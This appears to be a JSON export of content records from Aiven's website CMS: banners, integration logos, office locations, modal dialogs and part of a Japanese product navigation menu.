{"__i18n_lang":"en","_createdAt":"2023-02-15T12:44:22Z","_id":"4e6fd465-b09a-450c-a2a2-33ea04a1b0c6","_rev":"QO1pX8PFNRL8RV84K7q1Bs","_type":"infoBanner","_updatedAt":"2024-08-22T12:33:17Z","name":"Webinar Don't Buy the Hype","primaryCTA":{"_type":"link","externalUrl":"https://aiven.io/webinar/whats-new-with-aiven-genai-power?utm_source=website\u0026utm_medium=organic\u0026utm_campaign=Whats_New_With_Aiven_Sept12\u0026","title":"Register now"},"slug":{"_type":"slug","current":"webinar-dont-buy-the-hype"},"tagline":"Webinar","title":"Maximize your existing data tech for GenAI and drive informed, cost-effective outcomes."} {"__i18n_lang":"en","_createdAt":"2024-07-31T07:22:55Z","_id":"7433da85-17af-4e71-ba9f-5e8bf8a9a266","_rev":"LH5f7Hr0x4bwLSK8Bnb6VM","_type":"infoBanner","_updatedAt":"2024-11-11T09:44:05Z","description":"For single query, check out the SQL Optimizer","name":"SQL Query optimizer","primaryCTA":{"_type":"link","internalLink":{"_ref":"cb4fe454-eec8-4099-9f4d-3b0e29f872b1","_type":"reference"},"title":"Start optimizing your SQL queries"},"slug":{"_type":"slug","current":"sql-query-optimizer"},"tagline":"Free tool","title":"For single query, check out the SQL Optimizer"} {"__i18n_lang":"en","_createdAt":"2023-05-26T11:40:03Z","_id":"22d8ccfb-b77c-4029-94c0-c7519397935a","_rev":"3YxqQWUIXkU9Q9rCEhGZK6","_type":"integration","_updatedAt":"2023-05-26T11:40:03Z","icon":{"_type":"mainImage","alt":"Datadog logo","asset":{"_ref":"image-76cf7377b7a4f8896aeabc24327b91cf78d9d44b-48x48-svg","_type":"reference"}},"title":"Datadog"} {"__i18n_lang":"en","_createdAt":"2023-05-26T11:40:55Z","_id":"2ba1dfda-6041-4ac9-b258-085aa41ebfa1","_rev":"3YxqQWUIXkU9Q9rCEhH7eb","_type":"integration","_updatedAt":"2023-05-26T11:40:55Z","icon":{"_type":"mainImage","alt":"Amazon CloudWatch logo","asset":{"_ref":"image-b6dd9072ec8fd76dc39800c3d417eaf055a903c7-58x58-svg","_type":"reference"}},"title":"Amazon CloudWatch"} {"__i18n_lang":"en","_createdAt":"2023-05-26T11:40:26Z","_id":"6b6199d0-5ca3-421d-91df-82fb15688d28","_rev":"Bg5HPBiLdZofLBzDE6SDDm","_type":"integration","_updatedAt":"2023-05-26T11:40:26Z","icon":{"_type":"mainImage","alt":"Prometheus logo","asset":{"_ref":"image-9980731fef994f6b3eaae75f44d49c85b5e57008-58x58-svg","_type":"reference"}},"title":"Prometheus"} {"__i18n_lang":"en","_createdAt":"2023-05-26T12:08:56Z","_id":"5007821b-436e-4ebb-8a07-242c4a5f7448","_rev":"Bg5HPBiLdZofLBzDE6sSbl","_type":"integration","_updatedAt":"2023-05-26T12:13:21Z","icon":{"_type":"mainImage","alt":"Sumologic logo","asset":{"_ref":"image-b96f58003f876da1805f25db0645dc26819ce738-50x50-svg","_type":"reference"}},"title":"Sumologic"} {"__i18n_lang":"en","_createdAt":"2023-05-26T12:15:17Z","_id":"157b3267-4eb0-49eb-ad17-537d5a95772d","_rev":"Bg5HPBiLdZofLBzDE6vruZ","_type":"integration","_updatedAt":"2023-05-26T12:15:17Z","icon":{"_type":"mainImage","alt":"Debezium logo","asset":{"_ref":"image-e86aba4e4a06bd3f873f7593c29f351d7a4cbc12-51x50-svg","_type":"reference"}},"title":"Debezium"} {"__i18n_lang":"en","_createdAt":"2023-05-26T12:02:24Z","_id":"98cebc13-16ae-42db-a6de-4458949c0dc3","_rev":"3YxqQWUIXkU9Q9rCEhe1jB","_type":"integration","_updatedAt":"2023-05-26T12:33:14Z","icon":{"_type":"mainImage","alt":"Snowflake logo","asset":{"_ref":"image-d976eb7042070bfa6e3927a017ea04215c36b1e3-48x48-svg","_type":"reference"}},"title":"Snowflake"} {"__i18n_lang":"en","_createdAt":"2023-05-26T11:54:53Z","_id":"db1c8e5c-df2f-48b1-aae4-852962d61aeb","_rev":"Bg5HPBiLdZofLBzDE6pIdl","_type":"integration","_updatedAt":"2023-05-26T12:05:30Z","icon":{"_type":"mainImage","alt":"Couchbase logo","asset":{"_ref":"image-fb5c75db88b8cfb3f8b1e2334ee851eb77c55c2d-51x51-svg","_type":"reference"}},"title":"Couchbase"} {"__i18n_lang":"en","_createdAt":"2023-05-26T12:23:00Z","_id":"4b76ba83-b8b9-4f4e-b04f-670c2994ce1e","_rev":"pv5QzE4Lm79BNhDrjicLh7","_type":"integration","_updatedAt":"2023-08-25T12:47:04Z","icon":{"_type":"mainImage","alt":"Google Cloud Storage logo","asset":{"_ref":"image-3b5daef8652347a451af423f6c4b1caddad79d53-24x24-svg","_type":"reference"}},"title":"Google Cloud Storage"} {"__i18n_lang":"en","_createdAt":"2023-05-26T12:17:06Z","_id":"4bed5fe2-e20e-4edc-b54b-5bb47e9fd982","_rev":"JgIs2qI3CUllaKCG3TzRAX","_type":"integration","_updatedAt":"2023-08-25T12:46:55Z","icon":{"_type":"mainImage","alt":"Google Pub/Sub logo","asset":{"_ref":"image-9f6eb1efdd3d08c187c9bb160fb55f6fea468876-24x24-svg","_type":"reference"}},"title":"Google Pub/Sub"} {"__i18n_lang":"en","_createdAt":"2023-05-26T11:48:02Z","_id":"5965cdaa-ee18-4090-a084-62463619b757","_rev":"tW7kMBSHIbCIaN9dzOpBt6","_type":"integration","_updatedAt":"2023-06-14T08:44:04Z","icon":{"_type":"mainImage","alt":"Amazon S3 logo","asset":{"_ref":"image-eb38710ac4196b58734ae1cca36ab78d39b7aa16-58x58-svg","_type":"reference"}},"title":"Amazon S3"} {"__i18n_lang":"en","_createdAt":"2023-05-26T12:05:19Z","_id":"76a88a82-92c9-409d-9f30-30207c9ba701","_rev":"Bg5HPBiLdZofLBzDE7VXDm","_type":"integration","_updatedAt":"2023-05-26T13:13:23Z","icon":{"_type":"mainImage","alt":"Splunk logo","asset":{"_ref":"image-a01707ad3a427fd6acc5672c3685cf5739311a0a-200x241-svg","_type":"reference"}},"title":"Splunk"} {"__i18n_lang":"en","_createdAt":"2023-05-26T11:50:58Z","_id":"ab20f261-f294-45ca-8289-e369255c7366","_rev":"n4o7HM4ybKf4O57IbTVXm6","_type":"integration","_updatedAt":"2023-08-25T12:47:18Z","icon":{"_type":"mainImage","alt":"Google BigQuery logo","asset":{"_ref":"image-0679c5e6a408e990301e814e8fecb6d9849f64f7-24x24-svg","_type":"reference"}},"title":"Google BigQuery"} {"__i18n_lang":"en","_createdAt":"2023-05-26T11:41:19Z","_id":"beb356d4-e5a4-4c9c-abfa-9f58e3d9cebc","_rev":"JgIs2qI3CUllaKCG3TzU6T","_type":"integration","_updatedAt":"2023-08-25T12:47:10Z","icon":{"_type":"mainImage","alt":"Google Cloud Monitoring logo","asset":{"_ref":"image-7757f6c9244097faa22f5e90374ed2716053daaa-24x24-svg","_type":"reference"}},"title":"Google Cloud Monitoring"} {"__i18n_lang":"en","_createdAt":"2023-05-26T11:41:25Z","_id":"fb7167db-3a21-49ad-836b-c1b8b34eaa77","_rev":"PafZ7If3abxFAfZNONBHvn","_type":"integration","_updatedAt":"2023-05-26T11:47:07Z","icon":{"_type":"mainImage","alt":"MongoDB logo","asset":{"_ref":"image-fe1569bcba10665f27187fe097ce332ff31e42a2-65x64-svg","_type":"reference"}},"title":"MongoDB"} {"_createdAt":"2023-03-17T15:08:51Z","_id":"e518505d-84ca-4d42-8c11-077ba192bf3e","_rev":"RksXZeZKLvjmDTh0105PMd","_type":"internalTag","_updatedAt":"2023-03-17T15:30:26Z","group":{"_ref":"69c2330a-fcfc-44bd-8072-4cc813b27988","_type":"reference"},"title":"Application developer"} {"_createdAt":"2023-03-17T15:08:42Z","_id":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_rev":"RksXZeZKLvjmDTh0105TK6","_type":"internalTag","_updatedAt":"2023-03-17T15:30:33Z","group":{"_ref":"69c2330a-fcfc-44bd-8072-4cc813b27988","_type":"reference"},"title":"Devops"} {"_createdAt":"2023-03-17T15:08:34Z","_id":"c80d7617-0b36-4896-94af-bfeff5484da1","_rev":"RksXZeZKLvjmDTh0105WEy","_type":"internalTag","_updatedAt":"2023-03-17T15:30:40Z","group":{"_ref":"e229f39d-8528-4ce3-a52e-b0184bdccfc7","_type":"reference"},"title":"Retention"} {"_createdAt":"2023-03-17T15:08:03Z","_id":"0a74c077-c383-4811-9951-c849b80df99b","_rev":"RksXZeZKLvjmDTh01077ho","_type":"internalTag","_updatedAt":"2023-03-17T15:36:50Z","group":{"_ref":"e229f39d-8528-4ce3-a52e-b0184bdccfc7","_type":"reference"},"title":"Awareness"} {"_createdAt":"2023-08-29T12:29:10Z","_id":"8dba8149-1dd0-4856-baf0-d8f852d7f6bd","_rev":"pv5QzE4Lm79BNhDrjkMrAh","_type":"internalTag","_updatedAt":"2023-08-29T12:29:10Z","group":{"_ref":"6aa49cdf-2553-4775-8701-05181e0b0685","_type":"reference"},"title":"Campaign"} {"_createdAt":"2024-07-12T12:13:31Z","_id":"2517d2c9-d28a-4e23-a1e4-f48cdeb68c4f","_rev":"ejVwHgKe5k9eDWbchvXb6c","_type":"internalTag","_updatedAt":"2024-07-12T12:13:31Z","group":{"_ref":"6aa49cdf-2553-4775-8701-05181e0b0685","_type":"reference"},"title":"Template"} {"_createdAt":"2023-03-17T15:09:08Z","_id":"36bb61b8-a6d5-45b4-ae46-6b9e8aab64a6","_rev":"RksXZeZKLvjmDTh0105J73","_type":"internalTag","_updatedAt":"2023-03-17T15:30:10Z","group":{"_ref":"69c2330a-fcfc-44bd-8072-4cc813b27988","_type":"reference"},"title":"Data Analyst"} {"_createdAt":"2023-03-17T15:08:59Z","_id":"4fee17d2-f553-4f9f-8a5c-633a8b352c4c","_rev":"RksXZeZKLvjmDTh0105Lxc","_type":"internalTag","_updatedAt":"2023-03-17T15:30:18Z","group":{"_ref":"69c2330a-fcfc-44bd-8072-4cc813b27988","_type":"reference"},"title":"Data engineering"} {"_createdAt":"2023-03-17T15:08:18Z","_id":"8fe00684-fc9b-413d-9f61-98889297feec","_rev":"RksXZeZKLvjmDTh010754A","_type":"internalTag","_updatedAt":"2023-03-17T15:36:42Z","group":{"_ref":"e229f39d-8528-4ce3-a52e-b0184bdccfc7","_type":"reference"},"title":"Acquisition"} {"__i18n_lang":"en","_createdAt":"2022-09-12T14:57:55Z","_id":"22672ce8-015d-40db-9e72-0644ff155b58","_rev":"cEPH2uRN58AU2lp9QRHtvd","_type":"location","_updatedAt":"2022-09-12T14:57:55Z","address":"We offer the possibility to work remotely from anywhere!","icon":"home","title":"Remote locations"} {"__i18n_lang":"en","_createdAt":"2022-09-12T14:55:13Z","_id":"7ff09411-05d1-47d7-8d31-a5ec34d6e347","_rev":"VeNKqGNmt13PzvGhqxDNpm","_type":"location","_updatedAt":"2024-02-01T09:48:30Z","address":"Aiven France SAS\nMorning Laffitte,\n34 rue Laffitte, \n75009 Paris,\nFrance","icon":"globe","link":"https://maps.app.goo.gl/HHCLJfnbntuo1Dh29","title":"Paris"} {"__i18n_lang":"en","_createdAt":"2022-09-02T15:37:30Z","_id":"0ddcb861-6255-4706-9b6b-ec81cc33a883","_rev":"VeNKqGNmt13PzvGhqxDPsq","_type":"location","_updatedAt":"2024-02-01T09:49:22Z","address":"Aiven Australia Pty Ltd\nLevel 3, 40 King Street,\nSydney NSW 2000,\nAustralia","icon":"globe","link":"https://maps.app.goo.gl/6TsdbfXPr6XhSiHM9","title":"Sydney"} {"__i18n_lang":"en","__i18n_refs":[],"_createdAt":"2022-05-26T12:50:58Z","_id":"c25f4aef-329f-4e56-bc2d-3e8a921c6ffa","_rev":"VeNKqGNmt13PzvGhqxDLMe","_type":"location","_updatedAt":"2024-02-01T09:47:45Z","address":"Aiven Oy\nAntinkatu 1, 6th floor, \n00100 Helsinki, \nFinland","icon":"globe","link":"https://www.google.com/maps/place/Aiven+Oy/@60.1703998,24.9269847,17z/data=!3m1!4b1!4m5!3m4!1s0x46920bc9307e92bf:0xeb4f9def6de28e52!8m2!3d60.1704399!4d24.9315884","title":"Helsinki (HQ)"} {"__i18n_lang":"en","_createdAt":"2022-09-02T15:37:13Z","_id":"b9aeb375-4441-4f7e-b363-47fd1f5f71e6","_rev":"VeNKqGNmt13PzvGhqxDOMM","_type":"location","_updatedAt":"2024-02-01T09:48:42Z","address":"Aiven Deutschland GmbH\nDesign Offices Humboldhafen Business Center,\nAlexanderufer 3-7, \n10117 Berlin, \nGermany","icon":"globe","link":"https://www.google.com/maps/place/Aiven+Deutschland+GmbH/@52.5324514,13.4231568,17z/data=!3m1!4b1!4m5!3m4!1s0x47a84f2e196cb09d:0xb9788cd637216e07!8m2!3d52.5324482!4d13.4253508","title":"Berlin"} {"__i18n_lang":"en","_createdAt":"2024-03-04T08:32:46Z","_id":"8861e8d2-2b6e-4c59-9d27-577371a7126c","_rev":"415s5m1PTRQajQOv4ucvcK","_type":"location","_updatedAt":"2024-03-04T08:37:43Z","address":"Aiven UK Ltd\nUncommon Holborn,\n81-87 High Holborn, \nLondon WC1V 6DF,\nUnited Kingdom","icon":"globe","link":"https://maps.app.goo.gl/k9NNyfhu61aXCGxh6","title":"London"} {"__i18n_lang":"en","_createdAt":"2022-09-15T12:01:29Z","_id":"62566f6f-2b4d-4abd-b8a7-1364f0532a1d","_rev":"VeNKqGNmt13PzvGhqxDRfc","_type":"location","_updatedAt":"2024-02-01T09:49:40Z","address":"Aiven New Zealand Limited\nLevel 10, Generator,\n11 Britomart Place,\nAuckland 1010, \nNew Zealand","icon":"globe","link":"https://www.google.com/maps/place/Generator+%2F+Britomart+Place/@-36.8448935,174.7678704,17z/data=!3m1!4b1!4m5!3m4!1s0x6d0d47d8556a081b:0x21ffbe11d05e5c03!8m2!3d-36.8448935!4d174.7704453","title":"Auckland"} {"__i18n_lang":"en","_createdAt":"2022-09-12T14:55:53Z","_id":"f4469711-0dd2-4bc0-8501-3481db1ea7b6","_rev":"VeNKqGNmt13PzvGhqxDQIu","_type":"location","_updatedAt":"2024-02-01T09:49:29Z","address":"Aiven Canada Ltd\n56 Temperance St., Third floor,\nToronto, ON — M5H 3V5,\nCanada","icon":"globe","link":"https://www.google.com/maps/place/Aiven+Canada+Ltd./@43.650698,-79.3963042,17z/data=!3m2!4b1!5s0x882b3464da9180fd:0xb129523800f25842!4m5!3m4!1s0x882b354b3ae44881:0x77a91a79025fb4ec!8m2!3d43.6506942!4d-79.3918249","title":"Toronto"} {"__i18n_lang":"en","_createdAt":"2024-04-02T07:38:28Z","_id":"ee969257-7237-47ac-9037-8936af527670","_rev":"dl6sBLkN4BMAndS1z7ilRy","_type":"location","_updatedAt":"2024-04-02T07:44:14Z","address":"Aiven Inc\nc/o WeWork The Domain\n11801 Domain Blvd,\nAustin, TX 78758,\nUSA","icon":"globe","link":"https://maps.app.goo.gl/wsugNYE1fxpCXv4h6","title":"Austin, Texas"} {"__i18n_lang":"en","_createdAt":"2024-06-13T12:58:27Z","_id":"768f0225-3314-4e37-bd63-4eba5d12c5cf","_rev":"V7hUJb5ScZMSQ02ZsFzAh9","_type":"location","_updatedAt":"2024-06-13T14:17:31Z","address":"Aiven Israel (EverSQL Ltd)\nHaHarash St 4, \nHod Hasharon,\nIsrael","icon":"globe","link":"https://www.google.com/maps/place/HaHarash+St+4,+Hod+HaSharon,+4524075,+Israel/@32.1330957,34.8619031,14z/data=!3m1!4b1!4m10!1m2!2m1!1sHaHarash+St+4,++Hod+Hasharon,+Sharon,++Israel!3m6!1s0x151d37a25c5b0a4b:0x5e4d68ca106dc688!8m2!3d32.1330647!4d34.8988113!15sCi1IYUhhcmFzaCBTdCA0LCAgSG9kIEhhc2hhcm9uLCBTaGFyb24sICBJc3JhZWySARBnZW9jb2RlZF9hZGRyZXNz4AEA!16s%2Fg%2F11c2hqzn44?entry=ttu","title":"Israel"} {"_createdAt":"2022-07-21T11:51:16Z","_id":"qcIblBlYNB041RLlsLPbAj","_rev":"qcIblBlYNB041RLlsLPb9L","_type":"media.tag","_updatedAt":"2022-07-21T11:51:16Z","name":{"_type":"slug","current":"logo"}} {"_createdAt":"2022-09-08T07:41:47Z","_id":"CK1sLU2mnwa3vmbYWCajQI","_rev":"CK1sLU2mnwa3vmbYWCajMx","_type":"media.tag","_updatedAt":"2022-09-08T07:41:47Z","name":{"_type":"slug","current":"og"}} {"_createdAt":"2023-01-10T10:27:56Z","_id":"Y8XrsvoJ4zglb1hB5GH1gM","_rev":"Y8XrsvoJ4zglb1hB5GH1cN","_type":"media.tag","_updatedAt":"2023-01-10T10:27:56Z","name":{"_type":"slug","current":"blog"}} {"_createdAt":"2024-10-21T07:58:15Z","_id":"jvX45fVrMTONcXvY2UEgEG","_rev":"jvX45fVrMTONcXvY2UEgB0","_type":"media.tag","_updatedAt":"2024-10-21T07:58:15Z","name":{"_type":"slug","current":"email"}} {"_createdAt":"2022-09-05T14:29:41Z","_id":"2a0x8ZFmDOgprY7cM0wyZy","_rev":"2a0x8ZFmDOgprY7cM0wyVF","_type":"media.tag","_updatedAt":"2022-09-05T14:29:41Z","name":{"_type":"slug","current":"case study"}} {"_createdAt":"2024-04-17T15:18:13Z","_id":"ajOdr4DX4POKI5xrBRf1Qa","_rev":"ajOdr4DX4POKI5xrBRf1Mz","_type":"media.tag","_updatedAt":"2024-04-17T15:18:13Z","name":{"_type":"slug","current":"diagram"}} {"_createdAt":"2022-06-27T10:02:36Z","_id":"oamrAPLmQLQjd9jh7dcxEE","_rev":"oamrAPLmQLQjd9jh7dcxDe","_type":"media.tag","_updatedAt":"2022-06-27T10:02:36Z","name":{"_type":"slug","current":"icon"}} {"_createdAt":"2022-07-06T08:12:25Z","_id":"oamrAPLmQLQjd9jh7h8yUw","_rev":"oamrAPLmQLQjd9jh7h8yh8","_type":"media.tag","_updatedAt":"2022-07-06T08:13:01Z","name":{"_type":"slug","current":"service"}} {"_createdAt":"2022-04-05T19:52:19Z","_id":"yPSJChxxML0IGsXeJoKtjG","_rev":"5HgAFtaJQ8fRdJpU8dtWv4","_type":"media.tag","_updatedAt":"2022-09-13T09:29:54Z","name":{"_type":"slug","current":"people"}} {"__i18n_lang":"en","_createdAt":"2022-11-06T08:29:36Z","_id":"8ef8d8e4-702b-4e6d-8f4c-08042c1c53f4","_rev":"OJPfab1FRVf7wOgYekC7V1","_type":"modal","_updatedAt":"2023-03-10T09:37:35Z","content":[{"_key":"bd762d02e353","_type":"block","children":[{"_key":"6fb974d0bc9f0","_type":"span","marks":[],"text":"Your demo has been scheduled with one of our experts.\nYou’ll receive a confirmation email with more information soon."}],"markDefs":[],"style":"normal"}],"cta":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"id":"thankyou","name":"Book demo thank you","title":"Booking confirmed"} {"__i18n_lang":"en","_createdAt":"2023-03-13T10:45:50Z","_id":"9b8fc092-7701-4f6f-b1f5-0b95a630b0c9","_rev":"RksXZeZKLvjmDTh00eqAyx","_type":"modal","_updatedAt":"2023-03-15T16:27:34Z","content":[{"_key":"a0db352e2d7b","_type":"block","children":[{"_key":"b63c5a4facb90","_type":"span","marks":[],"text":"Thank you for contacting us! We will be in contact with you soon."}],"markDefs":[],"style":"normal"}],"id":"thankyou","name":"Contact thank you","title":"Your contact request submitted"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"ace1f8b0-bc98-44b5-b2d3-691e2fb5ea92__i18n_ja","_type":"reference"}],"_createdAt":"2022-09-06T07:18:45Z","_id":"ace1f8b0-bc98-44b5-b2d3-691e2fb5ea92","_rev":"lf1jOsEAA7PAFZMZha4hTA","_type":"modal","_updatedAt":"2022-09-26T19:20:12Z","content":[{"_key":"e12dae78bda8","_type":"block","children":[{"_key":"42d29810204a0","_type":"span","marks":[],"text":"Find out how Aiven makes teams "},{"_key":"42d29810204a1","_type":"span","marks":["strong"],"text":"48% more efficient"},{"_key":"42d29810204a2","_type":"span","marks":[],"text":", allowing staff to focus on high-value activities that drive real business results."}],"markDefs":[],"style":"normal"},{"_key":"d2d2342adf28","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","disabled":false,"fullWidth":false,"iframeHeight":700,"iframeSource":"https://go.aiven.io/l/890043/2022-08-03/c5hj2","iframeTitle":"IDC white paper","noSpaceBottom":false,"noSpaceTop":false,"rounded":false}],"id":"idc-whitepaper","name":"IDC white paper","title":"IDC White Paper: The Business Value of Aiven Data Cloud Solutions"} {"__i18n_base":{"_ref":"ace1f8b0-bc98-44b5-b2d3-691e2fb5ea92","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2022-09-06T07:18:45Z","_id":"ace1f8b0-bc98-44b5-b2d3-691e2fb5ea92__i18n_ja","_rev":"z4aw9LO53fWpwEzdXNS5V2","_type":"modal","_updatedAt":"2022-09-26T19:19:36Z","content":[{"_key":"e12dae78bda8","_type":"block","children":[{"_key":"42d29810204a0","_type":"span","marks":[],"text":"IDC ホワイトペーパーをダウンロードし、Aiven ソリューションの真の価値についてお読みください。チーム効率を 48% 上げ、真のビジネス成果につながるような高価値のアクティビティにスタッフが集中できるようにする Aiven のストラテジーについてもご覧いただけます。"}],"markDefs":[],"style":"normal"},{"_key":"9ee9bfd6a5b0","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","disabled":false,"fullWidth":false,"iframeHeight":698,"iframeSource":"https://go.aiven.io/l/890043/2022-05-02/8qvwp","iframeTitle":"JA IDC white paper","noSpaceBottom":false,"noSpaceTop":false,"rounded":false}],"id":"idc-whitepaper","name":"JA IDC white paper","title":"IDC ホワイトペーパー: Aiven データクラウド ソリュー ションのビジネスバリュー"} {"__i18n_lang":"en","_createdAt":"2023-07-24T13:23:58Z","_id":"f1ad5a2d-d9fe-4ade-af59-b5d5a818a37b","_rev":"Q21J3pgWoUWkhUhtSrRVL9","_type":"modal","_updatedAt":"2023-07-24T13:36:40Z","content":[{"_key":"8870da850409","_type":"block","children":[{"_key":"0cae46023046","_type":"span","marks":[],"text":"California privacy legislation gives California residents the right to opt out of selling or sharing their personal information. To opt out of behavioral advertising and marketing please fill out this form."}],"markDefs":[],"style":"normal"},{"_key":"9242a6d8bb7f","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","iframeHeight":415,"iframeSource":"https://go.aiven.io/l/890043/2023-07-03/sm5gg","iframeTitle":"Do not sell or share my information","isPardotForm":true,"noSpaceBottom":false,"noSpaceTop":false,"pardotFormType":"contact","rounded":false}],"id":"opt-out","name":"Opt out form","title":"Do not sell or share my personal information"} {"__i18n_base":{"_ref":"4f7b3f3c-98b7-4feb-8429-063bcf5d3ddf","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2022-08-25T12:18:32Z","_id":"4f7b3f3c-98b7-4feb-8429-063bcf5d3ddf__i18n_ja","_rev":"tVsvU5cy3KqqbnxT6ULHNe","_type":"navigation","_updatedAt":"2024-08-23T10:37:07Z","items":[{"_key":"84d460cd7512","_type":"navSubmenu","navLinkGroups":[{"_key":"da173c44240d","_type":"navLinkGroup","group":"column-1","items":[{"_key":"5e2fb4bff054","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-184cb33e057478405636d30b72f56c94f88ca103-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","caption":"高スループットデータパイプラインのための分散型イベントストリーミングプラットフォーム","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5__i18n_ja","_type":"reference"},"title":"Aiven for Apache Kafka®"},"variant":"default"},{"_key":"89a2c71cf934","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-c96d109662fa0afd283a3ce7fbd1af8a8005f682-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","caption":"リアルタイムのETLと分析のニーズに応えるイベントストリーム処理プラットフォーム","internalLink":{"_ref":"53f983e1-0b44-4570-8e1d-2f495cea3f7c__i18n_ja","_type":"reference"},"title":"Aiven for Apache Flink®"},"variant":"default"}],"title":"イベントストリーミングサービス"},{"_key":"6be6dea65c70","_type":"navLinkGroup","group":"column-1","items":[{"_key":"bdeeef8dad2f","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-24f8bc050ae61d964c383f4509c62c6cb865d6ef-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","caption":"豊富な拡張機能を備えた分散型検索および分析スイート","internalLink":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa__i18n_ja","_type":"reference"},"title":"Aiven for OpenSearch®"},"variant":"default"},{"_key":"d59c6331edfe","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-41bf2f72c0a4c8def391b8bd40463dd894343541-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","caption":"分析ワークロード向けの高速かつリソース効率に優れたクラウドデータウェアハウス","internalLink":{"_ref":"37a2d4d0-b76b-41c6-9f9d-973358ee862d__i18n_ja","_type":"reference"},"title":"Aiven for ClickHouse®"},"variant":"default"},{"_key":"232db728aa74","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-30db7a5b09c94a616a5ff1e52181f92b40fade73-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","caption":"大規模監視を実現する分散型時系列データベース","internalLink":{"_ref":"69064bec-5161-4e98-9af3-96ca0315cbef__i18n_ja","_type":"reference"},"title":"Aiven for M3"},"variant":"default"}],"title":"分析データベースサービス"},{"_key":"d717196c40eb","_type":"navLinkGroup","group":"column-2","items":[{"_key":"69ae416e4bb4","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-1e41c5eca58a19a523cfc3597c6ff0f3baf71ea4-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","caption":"高度な拡張機能を備えた高性能リレーショナルデータベース","internalLink":{"_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf__i18n_ja","_type":"reference"},"title":"Aiven for PostgreSQL®"},"variant":"default"},{"_key":"505872373eb6","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-8443a7ce7f5ba06083c450ba0cce89a7151849b4-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","caption":"幅広い用途で利用できる人気のリレーショナルデータベース","internalLink":{"_ref":"e7fd6ec7-3b26-4955-abc0-77fcbbe307e2__i18n_ja","_type":"reference"},"title":"Aiven for MySQL"},"variant":"default"},{"_key":"e57569c942cb","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-c49aa024b64012920f36be76dce8581e6a340388-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","caption":"インメモリ、キーバリュー型、スモールフットプリントのNoSQLデータベース","internalLink":{"_ref":"13512903-e091-4cd8-9625-d942418d75d2__i18n_ja","_type":"reference"},"title":"Aiven for Redis®"},"variant":"default"},{"_key":"10685e409ce9c5e7023aac14a86d28bd","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-49b048e58588a4a7acbe41dcf92c84379800936f-56x56-svg","_type":"reference"}},"navLink":{"_type":"link","caption":"高性能なRedisおよびMemcachedワークロード向け、スケーラブルなインメモリデータストア","internalLink":{"_ref":"068b5598-f4e4-416e-9357-f797ca9348f8__i18n_ja","_type":"reference"},"title":"Aiven for Dragonfly"},"variant":"default"},{"_key":"a5e9290ca77e","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-9b28317a07c8fcaf77ac447ab60252e031bdeae6-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","caption":"大量データ処理向けに設計された分散型ワイドカラムNoSQLデータベース","internalLink":{"_ref":"abf871eb-d0d0-4396-8768-51db839c21d4__i18n_ja","_type":"reference"},"title":"Aiven for Apache Cassandra®"},"variant":"default"}],"title":"運用データベースサービス"},{"_key":"848cc5981035","_type":"navLinkGroup","group":"column-2","items":[{"_key":"db77318fd153","_type":"navItem","icon":{"_type":"mainImage","asset":{"_ref":"image-6ae9b34c7ca56664b6e217e40c0b3e6948de81d3-64x64-svg","_type":"reference"}},"navLink":{"_type":"link","caption":"監視、分析、アラートのためのデータ可視化スイート","internalLink":{"_ref":"42c18edd-bcf8-4b56-8150-12787a872b60__i18n_ja","_type":"reference"},"title":"Aiven for Grafana®"},"variant":"default"}],"title":"データ可視化サービス"},{"_key":"1bbae8c8688d","_type":"navLinkGroup","group":"column-3","items":[{"_key":"e5dc32727df0f24f60a177a1c189d7da","_type":"navItem","navLink":{"_type":"link","caption":"あらゆるクラウド上のデータをストリーミング、保存、分析するためのプラットフォーム","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de__i18n_ja","_type":"reference"},"title":"Aivenプラットフォーム"},"variant":"default"},{"_key":"6d5f6a3b9108","_type":"navItem","navLink":{"_type":"link","caption":"Aivenのサービスを、お客様の既存の監視、オーケストレーション、データインフラと統合します","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4__i18n_ja","_type":"reference"},"title":"統合およびコネクタ"},"variant":"default"},{"_key":"15af4c7d7433","_type":"navItem","navLink":{"_type":"link","caption":"規模を問わず、すべてのアカウントにプレミアムレベルのセキュリティを提供します。","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5__i18n_ja","_type":"reference"},"title":"セキュリティとコンプライアンス"},"variant":"default"},{"_key":"586e2adffbc2","_type":"navItem","navLink":{"_type":"link","caption":"24時間365日、すべてのサービスをプロアクティブに監視します。常に提供されるベーシックサポートに加え、3段階のサポートサービスが用意されています。","internalLink":{"_ref":"17d882dc-fcff-4bab-b539-c811e713bfa7__i18n_ja","_type":"reference"},"title":"サポートサービス"},"variant":"defaul